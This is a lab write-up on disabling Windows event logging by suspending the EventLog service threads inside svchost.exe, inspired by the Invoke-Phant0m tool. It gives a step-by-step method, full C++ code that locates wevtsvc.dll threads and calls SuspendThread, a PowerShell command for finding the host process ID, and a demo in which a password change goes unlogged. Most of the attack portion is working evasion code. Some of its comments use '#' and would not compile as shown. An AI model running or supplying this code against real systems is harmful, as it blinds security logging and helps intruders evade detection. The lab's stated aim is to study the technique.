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Disabling Windows Event Logs by Suspending EventLog Service Threads

This lab was inspired by an old post Phant0m: Killing Windows Event Log by @hlldz where he introduced a powershell tool Invoke-Phant0m, which disables Windows EventLog service by killing its threads hosted by the svchost.exe.

The purpose of this quick lab is to understand some of the inner workings of Invoke-Phant0m. In particular, I wanted to play around with Windows APIs related to retrieving a process ID that hosts a given service, thread enumeration, mapping threads to a particular service (Windows Eventlog in this case) hosted in the svchost.exe and so on. This would give me a better understanding of how I can target specific threads when I need to, I thought.

{% hint style="info" %} Although this lab was inspired by @hlldz' post, you will notice that we implemented the same technique in a slightly different way by levarging different Windows APIs. {% endhint %}

Overview

Windows event logs are handled by EventLog service that is hosted by svchost.exe.

If we list svchost processes, we see a number of those:

From the above screenshot, it's not clear which process actually hosts the EventLog service, but if we keep inspecting svchost.exe processes one by one in Process Hacker, we will eventually find the process hosting the EventLog service, which in my case it is svchost.exe with pid 2196:

Note that we can find out the PID of the process that is hosting EventLog:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

If we look into svchost.exe threads for EventLog, we see there are a couple of threads of interest as highlighted in blue:

Below shows that indeed, suspending the threas is enough to disable the EventLog service from registering any new events:

Based on the above, the main goal of this lab is to hack some code to find these threads and simply suspend them and disable windows event logging this way.

{% hint style="warning" %} Resuming threads will write out the events to the events log as if the threads had not been suspended in the first place. {% endhint %}

Code

Below is the code for the technique that at a high level works like this:

  1. Open a handle to Service Control Manager with OpenSCManagerA
  2. Open a handle to EventLog service with OpenServiceA
  3. Retrieve svchost.exe (hosting EventLog) process ID with QueryServiceStatusEx
  4. Open a handle to the svchost.exe process (from step 3)
  5. Get a list of loaded modules loaded by svchost.exe EnumProcessModules
  6. Loop through the list of svchost loaded modules, retrieved in step 5, find their names with GetModuleBaseName and find the base address of the module wevtsvc.dll - this is the module containing EventLog service inner-workings
  7. Get wevtsvc.dll module info with GetModuleInformation. It will return a structure with module's start address and its image size - we will need these details later, when determiing if EventLog service thread's fall into wevtsvc.dll module's memory space
  8. Enumerate all the threads inside svchost.exe with Thread32First and Thread32Next
  9. For each thread from step 8, retrieve the thread's start address with NtQueryInformationThread
  10. For each thread from step 8, check if the thread's start address belongs to the wevtsvc.dll memory space inside svchost.exe
  11. If thread's start address is inside the wevtsvc.dll memory space, this is our victim thread and we suspend it with SuspendThread
  12. EventLog service is now disabled
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>

#pragma comment(lib, "DbgHelp")

using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
	IN HANDLE          ThreadHandle,
	IN THREADINFOCLASS ThreadInformationClass,
	OUT PVOID          ThreadInformation,
	IN ULONG           ThreadInformationLength,
	OUT PULONG         ReturnLength
	);

int main()
{
	HANDLE serviceProcessHandle;
	HANDLE snapshotHandle;
	HANDLE threadHandle;

	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	WCHAR remoteModuleName[128] = {};
	HMODULE serviceModule = NULL;
	MODULEINFO serviceModuleInfo = {};
	DWORD_PTR threadStartAddress = 0;
	DWORD bytesNeeded = 0;

	myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));

	THREADENTRY32 threadEntry;
	threadEntry.dwSize = sizeof(THREADENTRY32);

	SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
	SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);

	SERVICE_STATUS_PROCESS serviceStatusProcess = {};

	# Get PID of svchost.exe that hosts EventLog service
	QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
	DWORD servicePID = serviceStatusProcess.dwProcessId;

	# Open handle to the svchost.exe
	serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
	snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	# Get a list of modules loaded by svchost.exe
	EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		serviceModule = modules[i];

		# Get loaded module's name
		GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));

		if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
		{
			printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
			GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
		}
	}

	# Enumerate threads
	Thread32First(snapshotHandle, &threadEntry);
	while (Thread32Next(snapshotHandle, &threadEntry))
	{
		if (threadEntry.th32OwnerProcessID == servicePID)
		{
			threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
			NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
			
			# Check if thread's start address is inside wevtsvc.dll memory range
			if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
			{
				printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);

				# Suspend EventLog service thread
				SuspendThread(threadHandle);
				Sleep(2000);
			}
		}
	}

	return 0;
}

Demo

Below GIF illustrates:

  • net user ola ola is executed and user's ola password is changed and an event 4724 logged at 6:55:30 PM
  • 4 EventLog threads are suspended in svchost.exe (PID 2196)
  • net user ola ola is executed again at 6:55:38 PM, but no new event 4724 is captured

References

{% embed url="https://artofpwn.com/phant0m-killing-windows-event-log.html" %}